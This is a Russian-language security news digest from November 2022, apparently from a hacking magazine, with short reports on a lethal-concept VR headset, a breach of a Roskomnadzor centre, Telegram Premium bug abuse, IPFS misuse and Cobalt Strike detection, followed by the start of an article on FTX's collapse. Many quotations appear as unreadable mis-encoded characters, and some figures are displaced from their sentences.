68%

VR-ГАРНИТУРА,
СПОСОБНАЯ УБИТЬ
ПОЛЬЗОВАТЕЛЯ
Пал мер Лаки (Palmer Luckey), осно ватель ком пании Oculus и один из соз -
дателей VR-гар нитуры Oculus Rift, раз работал VR-шлем, который в бук валь ном
смыс ле убь ет поль зовате ля в слу чае его смер ти в игре. Напом ню, что Oculus
была про дана Facebook* в 2014 году за 2 мил лиар да дол ларов, и ее тех -
нологии лег ли в осно ву метав селен ной, которую сей час активно раз вива ет
Марк Цукер берг.

В сво ем бло ге Лаки рас ска зыва ет, что вдох новил ся иде ями из Sword Art
Online (SAO). Это популяр ней шая серия ранобэ япон ско го писате ля Рэки
Каваха ры с иллюс тра циями худож ника, выс тупа юще го под псев донимом abec.
В нас тоящее вре мя по SAO выпус кает ся ман га, ани ме адап тации, а так же
виде оиг ры.

Что бы понять задум ку Лаки, нуж но объ яснить, что по сюжету SAO вир туаль -
ная реаль ность поч ти неот личима от нас тоящей, а 6 нояб ря 2022 года тысячи
игро ков ока зались запер ты в ловуш ке в сво их VR-гар нитурах NerveGear. Что бы
вер нуть ся из MMORPG в реаль ный мир, им нуж но доб рать ся до 100-го эта жа
(уров ня) и победить бос са, при чем им угро жает смерть из-за скры того
в NerveGear СВЧ-генера тора, который убь ет их, если они умрут в игре,
попыта ются снять или испортить гар нитуру.

NerveGear в SAO

Ла ки, при уро чив ший свою пуб ликацию к ука зан ной дате из SAO, пишет, что
не толь ко реалис тичная гра фика, но и «угро за серь езных пос ледс твий может
сде лать игру реаль ной».

Хо тя, по его сло вам, эта «область механи ки виде оигр никог да не иссле -
дова лась», это не сов сем так. Еще в 2001 году на 
игро ки в Pong мог ли ощу тить на себе «теп ло, тол чки и элек три чес кие уда ры
раз ной про дол житель нос ти». В том же году на  про -
води лось сорев нование, в котором «32 доб роволь ных учас тни ка получи ли бод -
рящие, но нес мертель ные уда ры элек три чес ким током в соот ветс твии с трав -
мами, получен ными их экранны ми ава тара ми».

арт-инстал ляции PainStation

Tekken Torture Tournament

«

»

«Èäåÿ ïðè âÿçàòü ñâîþ ðåàëü íóþ æèçíü ê âèð òóàëü íîìó àâà òàðó âñåã äà

çàâîðà æèâà ëà ìåíÿ. Âû ìãíî âåí íî ïîä íèìà åòå ñòàâ êè äî ìàê ñèìàëü -

íîãî óðîâ íÿ è çàñ òàâëÿ åòå ëþäåé â êîð íå ïåðå îñìûñëèòü òî, êàê îíè

âçà èìî äåé ñòâó þò ñ âèð òóàëü íûì ìèðîì è èãðî êàìè âíóò ðè íåãî, — ðàñ -

ñêà çûâà åò Ëàêè. — Õîðîøàÿ íîâîñòü çàê ëþ÷à åòñÿ â òîì, ÷òî ìû íà ïîë -

ïóòè ê ñîç äàíèþ íàñ òîÿùåé (ãàð íèòóðû) NerveGear. Ïëî õàÿ íîâîñòü ñîñ -

òîèò â òîì, ÷òî ïîêà ÿ ðàçîá ðàëñÿ òîëü êî â òîé ÷àñ òè, êîòîðàÿ òåáÿ óáè -

âàåò».

По его сло вам, если в SAO игро ков уби вали мощ ные СВЧ-генера торы,
которые соз датель NerveGear помес тил в гар нитуры и сумел скрыть ото всех,
в реаль нос ти для это го пот ребова лось бы «при соеди нить гар нитуру к гро мад -
ной аппа рату ре».

Вмес то это го Лаки помес тил в реаль ное устрой ство (которое выг лядит
как модифи циро ван ный Meta Quest Pro, см. вер хнюю иллюс тра цию) три заряда
взрыв чатки, которые заложе ны пря мо надо лбом поль зовате ля. Их работа при -
вяза на к фотодат чику, который обна ружи вает, ког да гар нитура «видит» крас -
ный экран, мига ющий с опре делен ной час тотой.

«
»

«Êîã äà îòîá ðàæà åòñÿ ýêðàí game-over, çàðÿäû ñðà áàòû âàþò, ìãíî âåí íî

óíè÷ òîæàÿ ìîçã ïîëü çîâàòå ëÿ», — îáú ÿñíÿ åò Ëàêè.

Так же он пишет, что обыч но исполь зует такие заряды «для дру гого про екта».
Тут сто ит отме тить, что Лаки так же явля ется осно вате лем ком пании Anduril,
обо рон ного под рядчи ка, который не раз выиг рывал круп ные пра витель ствен -
ные кон трак ты и занима ется, нап ример, раз работ кой бар ражиру ющих боеп -
рипасов, тех нологий защиты от дро нов и соз дани ем под водных дро нов.

Тем не менее, судя по все му, VR-тех нологии все еще всерь ез инте ресу ют
соз дателя Oculus, так как он рас ска зыва ет, что пла ниру ет соз дать такой
механизм защиты от несан кци они рован ного дос тупа, «который, как и
в NerveGear, сде лает невоз можным сня тие или унич тожение гар нитуры».

Ла ки с иро нией приз нает ся, что из-за «огромно го количес тва сбо ев,
которые могут про изой ти и убить поль зовате ля в непод ходящее вре мя», он
не рис кнул тес тировать свой кон цепт на себе.

«

»

«Íà äàí íûé ìîìåíò ýòî ïðîñ òî ïðî èçâå äåíèå îôèñ íîãî èñêóññ òâà,

íàïîìè íàíèå, çàñ òàâëÿ þùåå çàäóìàòü ñÿ î íåèñ ñëå äîâàí íûõ íàï ðàâëå -

íèÿõ ãåéì‑äèçàé íà, — çàê ëþ÷à åò îí. — Íàñ êîëü êî ÿ çíàþ, ýòî ïåð âûé

íàó÷ íûé ïðî òîòèï VR-óñòðîé ñòâà, êîòîðîå äåé ñòâè òåëü íî ìîæåò óáèòü

ñâî åãî ïîëü çîâàòå ëÿ. È âðÿä ëè îí áóäåò ïîñ ëåäíèì».

＊ Зап рещена в Рос сии. При над лежит ком пании Meta, приз нанной экс тре мист -
ской и так же зап рещен ной в Рос сии.

БУТЕРИН О КРАХЕ FTX

В беседе с жур налис тами изда ния Bloomberg Виталик Бутерин про ком менти ровал крах и бан -
кротс тво крип товалют ной бир жи FTX, от которо го пос тра дала прак тичес ки вся крип товалют -
ная индус трия. По его мне нию, все в индус трии дол жны вынес ти из слу чив шегося урок, одна ко
тех нология блок чей на и DeFI-про токо лы работа ли и по-преж нему работа ют «безуп речно».

→ «Слу чив шееся с FTX — это, конеч но, огромная тра гедия. Тем не менее мно -
гие в сооб щес тве Ethereum рас смат рива ют эту ситу ацию как под твержде ние
того, во что они верили всег да: что-либо цен тра лизо ван ное по умол чанию
вызыва ет подоз рения»,

— резюми ровал Бутерин и добавил, что доверять нуж но «откры тому и проз рачно му коду, а не
отдель ным людям».  

АТАКА НА
РАДИОЧАСТОТНЫЙ
ЦЕНТР РКН
В сво ем Telegram-канале хак-груп па, называ ющая себя «Кибер парти заны»,
заяви ла, что успешно про ник ла во внут реннюю сеть 

 (ГРЧЦ) Рос комнад зора. Хакеры утвер жда ли, что похити ли более 2 Тбайт
дан ных (вклю чая «докумен ты, перепис ки и поч ты сот рудни ков»), зашиф ровали
рабочие стан ции и «порази ли» кон трол лер домена.

Глав ного ради очас тотно го
цен тра

Свое пос лание зло умыш ленни ки соп роводи ли скрин шотами, яко бы
демонс три рующи ми внут ренние сис темы и перепис ки сот рудни ков ГРЧЦ.

Вско ре про исхо дящее про ком менти рова ли в пресс-служ бе ГРЧЦ, заявив,
что ата ка дей стви тель но име ла мес то и была выпол нена с помощью «ранее
ниг де не исполь зовав шей ся уяз вимос ти». При этом сооб щалось, что одну
из «наибо лее агрессив ных» попыток про ник новения в ведомс тве начали отсле -
живать еще в прош лом месяце.

«

»

«Ñèòó àöèÿ áûëà óïðàâëÿ åìîé, â õîäå íåå ïðî âîäèë ñÿ àíà ëèç äåé ñòâèé

íàðóøè òåëåé, íàõîäèâ øèõñÿ â îòêðû òîì êîí òóðå. Ïðåñ òóïíè êè

íå ïîëó÷è ëè äîñ òóï íè ê çàê ðûòîé èíôîðìà öèè, íè ê êðè òè÷åñ êè âàæ íîé

èíôðàñòðóê òóðå», — ïîä ÷åð êíó ëè ïðåä ñòà âèòå ëè ÃÐ×Ö, äîáàâèâ, ÷òî

õàêåðû ïðàê òè÷åñ êè åæåä íåâíî àòà êóþò èíôðàñòðóê òóðó ÃÐ×Ö (ïîðîé

ôèê ñèðó åòñÿ áîëü øå äåñÿòè àòàê çà äåíü).

ИБ-экспер ты, с которы ми погово рил «Ком мерсант», пред положи ли, что ата ка
на ГРЧЦ мог ла быть орга низо вана через акка унт сот рудни ка орга низа ции, то
есть хакеры «мог ли получить дос туп к рабоче му мес ту, поч те и дру гим ресур -
сам».

«

»

«Ñóäÿ ïî îïóá ëèêîâàí íûì ñêðèí øîòàì, çëî óìûø ëåííè êè ïîëó÷è ëè äîñ -

òóï ê ðàáî÷åé ñòàí öèè ñïå öèàëèñ òà ïî èíôîðìà öèîí íîé áåçîïàñ -

íîñòè, — ðàñ ñêà çàë æóð íàëèñ òàì ñïå öèàëèñò ïî êèáåð áåçîïàñ íîñòè

èç íåíàç âàííîé ïðî ôèëü íîé êîì ïàíèè. — Ñêî ðåå âñå ãî, îíè êàêèì‑òî

îáðà çîì ïîëó÷è ëè äàí íûå àêêà óíòà, óäà ëåí íî çàø ëè â åãî ðàáî÷óþ

ñòàí öèþ è, ñóäÿ ïî ñêðèí øîòàì êîí ñîëè DLP, ïîëó÷è ëè äîñ òóï èìåí íî

âî âíóò ðåííèé êîí òóð îðãà íèçà öèè».
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В 2022 году ана лити ки Group-IB обна ружи ли в зонах .ru и .рф  фишин говых сай та, что
на  боль ше, чем годом ранее.

17 742
15%

Этот рост экспер ты свя зыва ют с мас шта биро вани ем популяр ной мошен ничес кой схе мы
«Мамонт» (FakeCourier), которую исполь зуют не менее  скам-групп. Сум марный зарабо ток
прес тупни ков оце нива ется более чем в  дол ларов.

300
6 200 000

Для срав нения: за ана логич ный пери од прош лого года было обна руже но  фишин говых
домена. Ста биль но рост чис ла мошен ничес ких ресур сов наб людал ся на про тяже нии все го
года: если в янва ре было обна руже но  доменов, в мае уже , а в октябре — .

15 363

1295 1936 2402
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АННУЛИРОВАНЫ
ФАЛЬШИВЫЕ
ПОДПИСКИ
TELEGRAM PREMIUM
Ле том текуще го года в Telegram появи лась под писка Premium, которая пре дос -
тавля ет допол нитель ную фун кци ональ ность и сни мает часть лимитов и огра -
ниче ний. Мно гие поль зовате ли покупа ли под писку не через офи циаль ного
бота, а у треть их лиц, с огромны ми скид ками. Как ока залось, эти «левые» под -
писки появи лись за счет уяз вимос ти в Telegram, которую обна ружи ли три мос -
ков ских школь ника. Теперь такие под писки анну лиро ваны.

Пер вые сооб щения об отклю чении под писок Premium, получен ных
обманным путем, начали появ лять ся еще в кон це октября, хотя никаких офи -
циаль ных ком мента риев от коман ды мес сен дже ра не пос тупало.

Из дание «Код Дурова» про вело собс твен ное рас сле дова ние про изо шед шего
и рас ска зало, что минув шим летом трое мос ков ских школь ников (извес тны
под никами Martov, Munzy и Филя) обна ружи ли уяз вимость в Telegram, бла -
года ря которой плат ную под писку мож но было получить бес плат но.

Все началось с бага, на который нат кнул ся Martov: в момент покуп ки подар -
ка на iPhone с джей лбрей ком (и уста нов ленным тви ком из Cydia —
LocalIAPStore) он нажал кноп ку «Отме нить», пос ле чего дей ствие отме нилось,
но подароч ная под писка Premium все рав но акти виро валась.

В ито ге друзья решили зарабо тать на обна ружен ной уяз вимос ти, а имен но
переп родавать получен ные таким спо собом Premium-под писки. Ведь все, что
для это го тре бова лось, — iPhone с джей лбрей ком и подароч ные кар ты App
Store.

Из началь но друзья собира лись работать вмес те, но уже ско ро раз делились
на две коман ды: Munzy и Филя про дол жили работать вмес те, а Martov отпра -
вил ся «в сво бод ное пла вание». Пер вое вре мя им уда валось догова ривать ся
о еди ных ценах, но обе коман ды активно рас ширялись, нанимая все боль ше
и боль ше сот рудни ков (понача лу это были в основном их друзья и зна комые).
В ито ге имен но уве личе ние количес тва при час тных к этой схе ме людей и при -
вело к ее кра ху.

«

»

«Îäè íî÷ íûå ðàáîò íèêè ìîã ëè äåëàòü äî 200 òûñÿ÷ ðóá ëåé â ñóò êè.

Ýòî áûëî ñëîæ íî, íî âîç ìîæíî. Íåîá õîäèìî áûëî îáñëó æèòü ïîðÿä -

êà 3000 êëè åíòîâ çà ðàç. Âñÿ íàøà ñåòü ìîã ëà ïðè íîñèòü ïðè ìåð -

íî 5000–6000 äîë ëàðîâ â äåíü, — ðàñ ñêà çàë æóð íàëèñ òàì Munfizy. — ß

ñ÷è òàþ, ÷òî óáûò êè Telegram ìîãóò ñîñ òàâëÿòü îò 3 äî 5 ìèë ëèîíîâ äîë -

ëàðîâ. Òîëü êî íàøèì äâóì êîìàí äàì óäà ëîñü àêòè âèðî âàòü ïîä ïèñîê

áîëåå ÷åì íà 150 òûñÿ÷ àêêà óíòîâ».

Не уди витель но, что мно гие «сот рудни ки» быс тро при ходи ли к выводу, что они
и сами спра вят ся не хуже и делить ся с кем-либо при былью сов сем необя -
затель но. В ито ге, по сло вам Munzy, вско ре на рын ке воз никло уже боль -
ше 25 подоб ных «ком паний», пред лага ющих под писки Premium по сход ной
цене. Все они экс плу ати рова ли тот же баг и работа ли по схе ме, при думан ной
друзь ями изна чаль но. «Кто-то ее купил, а кто-то получил вооб ще бес плат но —
по друж бе», — объ яснил Munzy.

Вско ре ново явленные кон курен ты при нялись сни жать цены, пыта ясь прив -
лечь поль зовате лей, и в какой-то момент сто имость Premium-под писки на чер -
ном рын ке упа ла поч ти в десять раз: до 35 руб лей за 3 месяца, 70 руб лей
за 6 месяцев и до 150 руб лей за год. То есть дош ло до того, что годовая под -
писка, куп ленная «с рук», сто ила в два раза дешев ле, чем офи циаль ная под -
писка Premium на месяц.

Один из трех пер воот кры вате лей бага на усло виях ано ним ности рас крыл
жур налис там свой доход от его экс плу ата ции. Он заяв ляет, что ему уда лось
зарабо тать око ло 80 тысяч дол ларов, и изда ние под твержда ет это, так как в
редак ции видели выпис ки с его лич ного сче та.

Та кое положе ние дел при вело к ссо ре дру зей, и в ито ге Munzy решил
обна родо вать информа цию о схе ме откры то, а так же передать дан ные коман -
де Telegram с пояс нени ем, как испра вить баг. Что и про изош -
ло 29 октября 2022 года.

Ког да у дру зей поин тересо вались, не думали ли они сра зу сооб щить
об уяз вимос ти раз работ чикам мес сен дже ра и, веро ятно, получить воз награж -
дение за обна руже ние проб лемы, те отве тили, что хотели зарабо тать и сом -
невались, что получат какую-то вып лату от Telegram.

В раз говоре с «Кодом Дурова» источник, близ кий к Telegram, под твер дил,
что опи сан ная уяз вимость дей стви тель но сущес тво вала и была зак рыта. Более
того, по его сло вам, раз работ чикам уда лось иден тифици ровать поль зовате лей
с такими под писка ми, пос ле чего им и начали отклю чать Telegram Premium.

В начале нояб ря Munzy сооб щил в Telegram, что рас смат рива ет воз -
можность воз вра та средств кли ентам, пос тра дав шим от отме ны под писок,
в раз мере 5–10%. При этом под черки валось, что Telegram не зап латил «ни
руб ля» баго юзе рам за рас кры тие мошен ничес кой схе мы.

АКТИВНОСТЬ МАЙНЕРОВ РАСТЕТ
«Лабора тория Кас пер ско го» сооб щает, что, хотя цены на крип товалю ту пада ют, количес тво
новых модифи каций май неров вырос ло, как и чис ло пос тра дав ших от них поль зовате лей.

Зло умыш ленни ки акти визи рова лись в треть ем квар тале: ком пания обна ружи ла более 
новых вари антов май неров (по срав нению с  в ана логич ный пери од 2021 года).

150 000
50 000

Са мой ата куемой май нерами стра ной в треть ем квар тале ста ла  ( ), где
исполь зование и добыча крип товалю ты вооб ще незакон ны. На вто ром и треть ем мес те 

 ( ) и  ( ).

Эфи опия 2,38%
Ка зах -

стан 2,13% Уз бекис тан 2,01%

Са мая популяр ная у зло умыш ленни ков крип товалю та — . На вто ром мес те — ,
на треть ем — . Помимо это го, некото рые из иссле дован ных экспер тами образцов
добыва ли , , ,  и .

Monero Bitcoin
Ethereum

Dogecoin Litecoin Dash Neo Bit Hotel

До ля май неров сре ди дру гой мал вари сос тавля ет  (то есть с ними свя зана 
 ата ка), а в целом крип томай неры ста ли  по рас простра нен ности угро зой пос ле

шиф роваль щиков.

17% каж дая шес -
тая вто рой

При быль прес тупни ков варь иру ется от кошель ка к кошель ку и в сред нем сос тавля ет око ло
 или око ло  в месяц.0,08 BTC 1300 дол ларов

ХАКЕРЫ
ЗЛОУПОТРЕБЛЯЮТ
INTERPLANETARY FILE
SYSTEM
По информа ции спе циалис тов Cisco Talos, зло умыш ленни ки все чаще исполь -
зуют в сво их опе раци ях Interplanetary File System (IPFS). Они при меня ют IPFS
для раз мещения полез ных наг рузок, инфраструк туры фишин говых наборов
и облегче ния про чих атак.

Ис сле дова тели напоми нают, что IPFS — это web3-тех нология, которая соз -
давалась для того, что бы быть устой чивой к цен зуре кон тента. По их сло вам,
это озна чает, что эффектив но уда лить кон тент из IPFS прак тичес ки невоз -
можно, пос коль ку он хра нит ся не на одном сер вере, а на мно жес тве децен тра -
лизо ван ных узлов. Ведь по сути IPFS пред став ляет собой децен тра лизо ван ную
сеть обме на фай лами, которая так же работа ет как сеть дос тавки/дис три буции
кон тента (Content Delivery Network, Content Distribution Network, CDN).

«

»

«Ñðà çó íåñ êîëü êî ñåìåé ñòâ âðå äîíîñ íûõ ïðîã ðàìì â íàñ òîÿùåå âðå ìÿ

ðàç ìåùà þòñÿ â IPFS è èçâëå êàþò ñÿ íà íà÷àëü íûõ ýòà ïàõ àòàê, — ïèøóò

ñïå öèàëèñ òû. — Íåñ ìîòðÿ íà òî ÷òî ýòà òåõ íîëîãèÿ çàêîí íî èñïîëü çóåò -

ñÿ â ðàç ëè÷íûõ ïðè ëîæå íèÿõ, îíà òàê æå ñîç äàåò âîç ìîæíîñ òè äëÿ çëî -

óìûø ëåííè êîâ, êîòîðûå èñïîëü çóþò åå â ñâî èõ ôèøèí ãîâûõ êàì ïàíè ÿõ,

à òàê æå äëÿ ðàñ ïðîñòðà íåíèÿ âðå äîíîñ íûõ ïðîã ðàìì».

Эк спер ты объ ясня ют, что зло умыш ленни ки обыч но уста нав лива ют кли ент IPFS
в сис тему, находя щуюся под их кон тро лем. Это может быть лич ный компь -
ютер, ском про мети рован ный хост или ано ним ный VPS. Затем они пуб лику ют
файл в IPFS, что авто мати чес ки дела ет этот локаль ный кон тент дос тупным
для нес коль ких дру гих узлов сети IPFS. Пос ле это го началь ную сис тему мож но
отклю чать, так как файл оста ется в IPFS, а хакерам не нуж но под держи вать
отка зоус той чивость инфраструк туры, которая вооб ще не име ет еди ной точ ки
отка за.

Прив лекатель ность такой схе мы для зло умыш ленни ков оче вид на: они
не несут рас ходов, свя зан ных с хра нени ем мал вари, а их «сер веры» в IPFS
нель зя отклю чить, как тра дици онные сер веры для раз мещения вре донос ных
прог рамм.

При этом сам про цесс атак прак тичес ки не меня ется. Жертв по-преж нему
нуж но нап равить к фай лу IPFS — вре донос ному ПО или фишин говой стра нице.
Это по-преж нему реали зует ся в основном при помощи вре донос ных ссы лок
или поч товых вло жений. Осо бо сооб разитель ный поль зователь даже может
рас познать URL-адрес IPFS (он выг лядит как слу чай ная пос ледова тель ность
сим волов) и не ста нет нажимать на него. Одна ко поль зовате ли, как пра вило,
не всмат рива ются в ссыл ки и про дол жают попадать ся на прос тей шие улов ки
из области соци аль ной инже нерии.

Ис сле дова тели ожи дают, что подоб ная вре донос ная активность будет рас -
ти и далее, пос коль ку все боль ше зло умыш ленни ков приз нают, «что IPFS
может облегчить работу „пуленеп робива емо го“ хос тинга, устой чива к модера -
ции кон тента и дей стви ям пра воох ранитель ных орга нов, а так же соз дает проб -
лемы для орга низа ций, пыта ющих ся обна ружи вать ата ки, свя зан ные с сетью
IPFS, и защищать ся от них».

«

»

«Íà äàí íûé ìîìåíò, åñëè âû íå îðãà íèçà öèÿ, èìå þùàÿ îòíî øåíèå

ê web3, è íå èìå åòå äåëî ñ NFT, ìû ðåêîìåí äîâàëè áû ïðîñ òî áëî -

êèðî âàòü äîñ òóï êî âñåì øëþ çàì IPFS, ñïè ñîê êîòîðûõ äîñ òóïåí.

Ýòî çíà ÷èòåëü íî óïðîñòè ëî áû äåëî», — ðåçþìè ðóþò àíà ëèòè êè.

КАСПЕРСКАЯ О ВОЗМОЖНОЙ ДЕЦИФРОВИЗАЦИИ

В ходе выс тупле ния на SOC-Форуме 2022 Наталья Кас пер ская, пре зидент ГК InfoWatch, заяви -
ла, что одной из мер по защите пред при ятий от кибера так может стать дециф ровиза ция.
По ее сло вам, в бли жай шее вре мя учас тятся ата ки на про мыш ленные объ екты, тог да как рань -
ше хакеры в основном нацели вались на хищение денеж ных средств.

→ «Бан ки защище ны на порядок луч ше, чем все осталь ные. Сей час всем
осталь ным нуж но аги тиро вать этот уро вень. При чем вплоть до такой непопу -
ляр ной меры, как дециф ровиза ция. Может быть, даже съем интернет-дат чиков
там, где они, может быть, не очень нуж ны. То есть уби рание их и по воз можнос -
ти переход на механи чес кие сис темы.

Са ми пред при ятия дол жны пос мотреть на свои объ екты, которые явля ются
наибо лее кри тич ными, понять, нас коль ко их вооб ще мож но ата ковать и что
с этим делать, нап ример пол ностью зак рыть или еще что-то»,

— говорит Наталья Кас пер ская.

GOOGLE БОРЕТСЯ
С COBALT STRIKE
Спе циалис ты Google Cloud Threat Intelligence объ яви ли о выпус ке ,
а так же кол лекции инди като ров ком про мета ции VirusTotal, которые дол жны
облегчить обна руже ние ком понен тов Cobalt Strike и пре дот вра тить зло упот -
ребле ния этим инс тру мен том для пен тестов.

пра вил YARA

На пом ню, что Cobalt Strike пред став ляет собой легитим ный ком мерчес кий
инс тру мент, соз данный для пен тесте ров и red team, ори енти рован ный на экс -
плу ата цию и пос тэкс плу ата цию. К сожале нию, Cobalt Strike дав но любим
хакера ми, начиная от пра витель ствен ных APT-груп пировок и закан чивая опе -
рато рами шиф роваль щиков. Хотя он недос тупен для рядовых поль зовате лей
и пол ная вер сия оце нива ется в нес коль ко тысяч дол ларов за уста нов ку, зло -
умыш ленни ки все рав но находят спо собы его исполь зовать (к при меру,
полага ются на ста рые, пират ские, взло ман ные и незаре гис три рован ные вер -
сии).

«

»

«Ìû âûïóñ êàåì îïåí ñîð ñíûé íàáîð ïðà âèë YARA è èõ èíòåãðà öèþ

â êà÷åñ òâå êîë ëåêöèè VirusTotal, ÷òî áû ïîìî÷ü ñîîá ùåñ òâó îáíà ðóæè -

âàòü è èäåí òèôèöè ðîâàòü êîì ïîíåí òû Cobalt Strike è èõ ñîîò âåòñ òâó -

þùèå âåð ñèè, — ïèøåò èíæå íåð ïî áåçîïàñ íîñòè Google Cloud Threat

Intelligence Ãðåã Ñèí êëåð. — Ìû ðåøèëè, ÷òî îáíà ðóæå íèå òî÷ íîé âåð -

ñèè Cobalt Strike ÿâëÿ åòñÿ âàæ íûì àñïåêòîì äëÿ îïðå äåëå íèÿ çàêîí -

íîñòè åãî èñïîëü çîâàíèÿ, ïîñ êîëü êó èçâåñ òíî, ÷òî çëî óìûø ëåííè êè çëî -

óïîò ðåáëÿ þò òîëü êî íåêîòî ðûìè âåð ñèÿìè».

Как объ ясни ли в Google, взло ман ные и «сли тые» на сто рону вари ации Cobalt
Strike в боль шинс тве слу чаев отста ют как минимум на одну вер сию, что поз -
волило ком пании соб рать сот ни стей дже ров, шаб лонов и образцов маяков,
исполь зуемых хакера ми, и на их базе под готовить пра вила YARA.

Так, экспер ты выяви ли JAR-фай лы Cobalt Strike, начиная с вер сии 1.44
(выпущен ной при мер но в 2012 году) и до вер сии 4.7, а затем исполь зовали
ком понен ты для соз дания пра вил YARA. По сло вам спе циалис тов, каж дая вер -
сия Cobalt Strike содер жит от 10 до 100 бинар ных фай лов шаб лонов атак. Уда -
лось най ти 34 раз личные вер сии Cobalt Strike с 275 уни каль ными JAR-фай -
лами. В общей слож ности было изу чено более 340 бинар ников, для которых
и были соз даны сиг натуры обна руже ния.

«

»

«Íàøà öåëü çàê ëþ÷àëàñü â òîì, ÷òî áû ñäå ëàòü îáíà ðóæå íèå âûñîêî òî÷ -

íûì, ÷òî áû ìîæ íî áûëî óâå ðåí íî óçíàòü òî÷ íóþ âåð ñèþ îïðå äåëåí íûõ

êîì ïîíåí òîâ Cobalt Strike. Êîã äà ýòî ñòà ëî âîç ìîæíûì, ìû ñîç äàëè ñèã -

íàòóðû äëÿ îáíà ðóæå íèÿ êîí êðåò íûõ âåð ñèé êîì ïîíåí òîâ Cobalt

Strike», — ãîâîðÿò â Google.

По сло вам Син кле ра, идея сос тояла в том, что бы «исклю чить пло хие вер сии,
оста вив легитим ные нет ронуты ми». Экспер ты Google пишут, что хотят вер нуть
инс тру мент в руки red team и пен тесте ров, зат руднив его исполь зование зло -
умыш ленни ками.

Так же экспер ты подели лись набором сиг натур для обна руже ния Sliver,
легитим ной опен сор сной плат формы для эму ляции дей ствий зло умыш ленни -
ков. Она тоже ори енти рова на на пен тесте ров, но зло умыш ленни ки неред ко
исполь зуют ее в качес тве аль тер нативы Cobalt Strike.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Dropbox пос тра дала от фишин говой ата ки. Хакеры получи ли дос туп к 130 репози тори ям
на GitHub

Сот ни новос тных сай тов в США ском про мети рова ны и зараже ны вре доно сом SocGholish

Бот нет Emotet возоб новил активность пос ле пяти месяцев прос тоя

Хак-груп пу Yanluowang взло мали, опуб ликова ны логи внут ренних чатов

ФБР: ата ки хак тивис тов не ска зыва ются на работе кри тичес ки важ ных орга низа ций

Microsoft: Китай накап лива ет и исполь зует уяз вимос ти в сво их целях

Бес плат ные бур геры. Школь ники наш ли баг в тер миналах «Вкус но — и точ ка»

Дан ные поль зовате лей кик шерин гового сер виса Whoosh укра ли и выс тавили на про дажу

В Швей царии арес тован пред полага емый лидер Zeus

В США зап ретили про дажу телеком муника цион ного обо рудо вания Huawei, ZTE и дру гих китай -
ских ком паний

https://github.com/chronicle/GCTI
https://xakep.ru/2022/11/02/dropbox-hacked/
https://xakep.ru/2022/11/03/socgholish-hacks/
https://xakep.ru/2022/11/03/emotet-new-campaign/
https://xakep.ru/2022/11/03/yanluowang-leak/
https://xakep.ru/2022/11/07/fbi-ddosers/
https://xakep.ru/2022/11/10/zero-day-exploit-surge/
https://xakep.ru/2022/11/11/besplatno-i-tochka/
https://xakep.ru/2022/11/14/whoosh-leak-2/
https://xakep.ru/2022/11/17/tank-arrested/
https://xakep.ru/2022/11/28/fcc-china-ban/


КАК ПОШЛА НА ДНО ВТОРАЯ
ПО ВЕЛИЧИНЕ КРИПТОБИРЖА

В МИРЕ

Мария Нефёдова
nefedova@glc.ru

HEADER

В нояб ре 2022 года крип товалют ное сооб -
щес тво пережи ло огромное пот рясение —
неожи дан ный крах бир жи FTX, которая
еще недав но счи талась одной из круп ней -
ших в мире, наряду с Binance и Coinbase.
Скан дал вок руг FTX, ее бан кротс тво и пос -
ледовав шее за этим ограбле ние пов лияли
на весь рынок в целом, негатив но ска -
зались на котиров ках крип товалют и серь -
езно пошат нули доверие поль зовате лей
и инвесто ров. Сегод ня раз берем ся в том,
как это про изош ло и чем гро зит
в будущем.

FTX È ÑÝÌ ÁÝÍÊÌÀÍ-ÔÐÈÄ

Крип товалют ная бир жа FTX (от Futures Exchange) появи лась в 2019 году и уже
через пару лет вош ла в трой ку мировых лидеров, сос тавив уве рен ную кон -
курен цию таким гиган там, как Binance и Coinbase. Штаб-квар тира ком пании,
которую осно вали Сэм Бэн кман-Фрид (Sam Bankman-Fried), Цзы сяо «Гэри»
Ван (Zixiao «Gary» Wang) и Нишад Сингх (Nishad Singh), в пос леднее вре мя
находи лась на Багамах.

До FTX у Бэн кма на-Фри да был хедж-фонд Alameda Research, который он
осно вал в 2017 году. Запом ни это наз вание, так как крах FTX тес но свя зан
с Alameda, а корень про изо шед шего крыл ся имен но в отно шени ях меж ду ком -
пани ями Бэн кма на-Фри да.

Так как Сэм Бэн кман-Фрид — глав ный герой нашей сегод няшней исто рии,
сто ит оста новить ся на его биог рафии чуть под робнее. Инте рес но, что трид -
цатилет ний биз несмен не может пох вастать ся какими-то серь езны ми карь -
ерны ми дос тижени ями до осно вания Alameda и FTX.

Сэм Бэн кман-Фрид

Он окон чил Мас сачусет ский тех нологи чес кий инсти тут, где получил дип лом
в области физики и матема тики. Пос ле уче бы Бэн кман-Фрид успел порабо тать
толь ко в трей дин говой ком пании Jane Street Capital и сра зу пос ле это го ушел
«в сво бод ное пла вание» и осно вал Alameda, которая начина ла с прос того
арбитра жа бит коина в паре с япон ской иеной.

В начале нояб ря 2022 года, пока FTX еще не пош ла ко дну, сос тояние ее
осно вате ля оце нива лось при мер но в 10–16 мил лиар дов дол ларов США, он
вхо дил в  и спи сок самых вли ятель ных людей
по вер сии TIME. На момент кра ха Сэму Бэн кма ну-Фри ду при над лежало 50%
FTX и 100% Alameda Research.

спи сок мил лиар деров Forbes

При этом FTX нас читыва ла боль ше мил лиона поль зовате лей и была вто рой
в мире по объ ему крип товалют ной бир жей. До бан кротс тва FTX име ла прек -
расную репута цию (рав но как и сам Бэн кман-Фрид) и активно прив лекала все
новых кли ентов, нап ример край не заман чивыми депозит ными про дук тами
в бит коинах (став ка 5%) и в дол ларах США (8%) — ради них люди порой бра ли
кре диты в обыч ных бан ках.

Бир жа успешно прив лекла и мил лиар ды дол ларов от ведущих вен чурных
инвесто ров мира, вклю чая Sequoia, SoftBank и Temasek, и еще недав но оцен ка
ком пании дос тигала 32 мил лиар дов дол ларов США.

Alameda Research, в свою оче редь, была одним из круп ней ших мар кетмей -
керов, с обширным инвести цион ным пор тфе лем, о котором мы погово рим
чуть поз же.

ÍÀ×ÀËÎ ÊÎÍÖÀ: ÇÀÌÅÒÊÀ COINDESK

Пер вым камеш ком в ого род FTX, в ито ге породив шим нас тоящую лавину, пос -
лужила  изда ния CoinDesk. В начале нояб ря в руки жур налис тов попали
внут ренние докумен ты Alameda, из которых скла дыва лась очень инте рес ная
кар тина.

статья

Сог ласно бумагам, на 30 июня 2022 года акти вы Alameda сос тавля -
ли 14,6 мил лиар да дол ларов США и боль шая их часть пред став ляла собой
utility-токены FTT, выпущен ные самой FTX. То есть вто рой ком пани ей Бэн кма -
на-Фри да.

